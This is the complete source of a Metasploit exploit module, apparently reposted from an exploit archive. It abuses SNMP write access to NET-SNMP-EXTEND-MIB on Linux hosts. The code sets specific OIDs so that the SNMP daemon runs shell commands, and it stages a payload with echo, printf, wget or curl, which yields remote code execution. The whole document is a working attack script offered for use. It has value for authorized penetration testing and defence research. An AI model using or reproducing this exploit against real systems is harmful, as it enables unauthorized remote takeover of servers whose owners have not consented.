Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'snmp'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',  
'Description' => %q(  
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to  
configure MIB extensions and lead to remote code execution.  
),  
'License' => MSF_LICENSE,  
'Author' => ['Steve Embling at InteliSecure'],  
'References' =>  
[  
[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],  
[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],  
[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],  
[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']  
],  
'Payload' =>  
{  
'Space' => 4096  
#note space above is not a hard limit and can be increased if required  
#'BadChars' => "\x00"  
},  
'Targets' =>  
[  
['Linux x86', {  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}],  
['Linux x64', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}]  
],  
#Not tested on other platforms but confirmed the above works.  
'DisclosureDate' => "May 10 2004",  
'DefaultTarget' => 0,  
)  
)  
register_options(  
[  
OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),  
OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),  
OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])  
])  
end  
  
# The exploit method connects and sets:  
# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)  
# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable  
# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments  
def execute_command(cmd, opts = {})  
oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'  
oid_1_value = 4  
oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'  
oid_2_value = datastore['SHELL']  
oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'  
oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'  
  
comm = datastore['COMMUNITY']  
  
cmd = cmd.shellescape unless flavor == :bourne  
  
oid_3_value = "-c \"#{cmd}\""  
  
vprint_status(oid_3_value)  
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|  
#vprint_status(manager.get_value("sysDescr.0"))  
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))  
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))  
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))  
resp = manager.set([varbind1, varbind2, varbind3])  
vprint_status(manager.get_value(oid_4).to_s)  
end  
#Hit same again, first rewrite appears to remove the MIB, the next reinstates it.  
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|  
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))  
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))  
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))  
begin  
resp = manager.set([varbind1, varbind2, varbind3])  
vprint_status(manager.get_value(oid_4).to_s)  
rescue SNMP::RequestTimeout  
print_good("SNMP request timeout (this is promising).")  
end  
end  
end  
  
def exploit  
execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])  
end  
end